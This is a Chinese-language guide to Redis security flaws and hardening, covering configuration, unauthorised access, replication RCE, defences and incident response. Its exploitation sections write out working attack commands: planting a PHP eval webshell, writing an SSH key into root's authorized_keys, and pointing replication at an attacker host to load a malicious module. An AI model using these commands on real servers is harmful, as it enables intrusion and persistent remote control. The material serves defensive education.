Redis漏洞总结
字数 1706 2025-08-24 07:48:09
Redis安全漏洞全面解析与防御指南
一、Redis基础概述
Redis(Remote Dictionary Server)是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的Key-Value数据库,并提供多种语言的API。
核心特性
- 内存存储:数据主要存储在内存中,读写性能极高(每秒超过10万次操作)
- 持久化支持:可将内存数据保存到磁盘
- 多种数据结构:支持字符串、哈希、列表、集合、有序集合等
- 分布式支持:主从复制、集群等功能
- 多语言API:提供多种编程语言接口
主要应用场景
- 缓存系统
- 分布式锁
- 会话存储
- 实时排行榜
- 消息队列
二、Redis关键配置解析
安全相关配置项
-
port:监听端口,默认6379
port 6379 -
bind:绑定IP地址(白名单机制)
bind 192.168.1.100 10.0.0.1 # 允许多个IP bind 0.0.0.0 # 允许任意IP连接(危险) -
protected-mode:安全模式(Redis 3.2+)
protected-mode yes # 开启安全模式(推荐) protected-mode no # 关闭安全模式 -
requirepass:认证密码
requirepass your_strong_password -
dir:工作目录
dir /var/lib/redis -
dbfilename:持久化文件名
dbfilename dump.rdb -
rename-command:重命名危险命令
rename-command CONFIG "" # 禁用CONFIG命令 rename-command FLUSHALL "" # 禁用FLUSHALL rename-command CONFIG HTCMD # 重命名CONFIG为HTCMD -
save:持久化触发条件
save 900 1 # 900秒内有1次修改则保存 save 300 10 # 300秒内有10次修改则保存 save 60 10000 # 60秒内有10000次修改则保存
三、Redis常见漏洞类型及利用方式
1. 未授权访问漏洞
漏洞原理:
- Redis绑定在0.0.0.0且未设置密码
- 无防火墙限制,直接暴露在公网
利用条件:
- Redis服务监听在0.0.0.0:6379
- 未设置requirepass认证密码
- 无防火墙规则限制
漏洞危害:
-
数据泄露:查看所有键值对
keys * get sensitive_key -
数据销毁:
flushall # 删除所有数据 del key # 删除特定键 -
系统信息泄露:
info # 获取系统信息 -
写入Webshell:
config set dir /var/www/html config set dbfilename shell.php set payload "<?php @eval($_POST['cmd']);?>" save -
SSH公钥写入(需root运行Redis):
ssh-keygen -t rsaconfig set dir /root/.ssh config set dbfilename authorized_keys set x "\n\nssh-rsa AAAAB3Nza...\n\n" save
2. 主从复制RCE漏洞
影响版本:Redis 4.x/5.x
漏洞原理:
- 利用Redis主从模式同步机制
- 通过FULLRESYNC同步恶意.so文件
- 加载恶意模块执行任意命令
利用条件:
- Redis 4.x/5.x版本
- 无需root权限(普通用户也可利用)
利用步骤:
- 编译恶意.so文件(如使用redis-rogue-server)
- 设置主从关系:
slaveof attacker_ip attacker_port - 通过主节点同步恶意模块
- 加载模块执行命令
3. 配置不当导致的漏洞
危险命令:
CONFIG:可修改Redis配置SAVE/BGSAVE:持久化操作FLUSHALL:清空所有数据MODULE:加载外部模块
防御建议:
- 禁用或重命名危险命令
- 限制config修改敏感配置
四、Redis安全加固方案
1. 认证与访问控制
requirepass your_strong_password # 设置强密码
rename-command CONFIG "" # 禁用危险命令
bind 内网IP # 限制绑定IP
protected-mode yes # 开启保护模式
2. 网络层防护
- 防火墙限制只允许可信IP访问6379端口
- 修改默认端口(不推荐作为唯一措施)
- 禁用公网监听(bind 127.0.0.1)
3. 权限最小化
-
使用非root用户运行Redis
useradd -r redis chown -R redis:redis /var/lib/redis -
限制Redis目录权限
chmod 700 /var/lib/redis
4. 日志与监控
loglevel notice
logfile /var/log/redis/redis.log
- 监控异常登录尝试
- 审计敏感命令执行
5. 补丁与更新
- 及时升级到最新稳定版本
- 关注Redis安全公告
五、漏洞利用实例分析
案例1:SSH公钥写入
-
攻击者生成SSH密钥对
ssh-keygen -t rsa -
通过未授权Redis写入公钥
config set dir /root/.ssh config set dbfilename authorized_keys set x "\n\nssh-rsa AAAAB3Nza...\n\n" save -
通过SSH免密登录
ssh -i id_rsa root@target_ip
案例2:Webshell写入
-
确定Web目录
config set dir /var/www/html -
设置恶意PHP文件名
config set dbfilename shell.php -
写入PHP代码
set payload "<?php @eval($_POST['cmd']);?>" -
保存到磁盘
save
六、应急响应措施
发现入侵后应立即:
- 断开网络连接
- 备份当前Redis数据文件
- 检查并删除恶意文件:
/root/.ssh/authorized_keys- Web目录下的可疑.php文件
- 审查Redis命令历史
- 重置SSH密钥和Redis密码
- 修复漏洞后恢复服务
七、Redis安全配置检查清单
- [ ] 已设置强密码认证(requirepass)
- [ ] 已禁用或重命名危险命令(CONFIG/FLUSHALL等)
- [ ] 已限制绑定IP(非0.0.0.0)
- [ ] 已开启protected-mode
- [ ] 使用非root用户运行Redis
- [ ] 已设置适当的文件权限
- [ ] 已配置防火墙规则
- [ ] 已启用日志记录
- [ ] 已定期备份数据
- [ ] 已更新到最新稳定版本
通过全面理解这些Redis安全漏洞及其防御措施,系统管理员可以有效保护Redis服务免受攻击,确保数据安全和服务稳定性。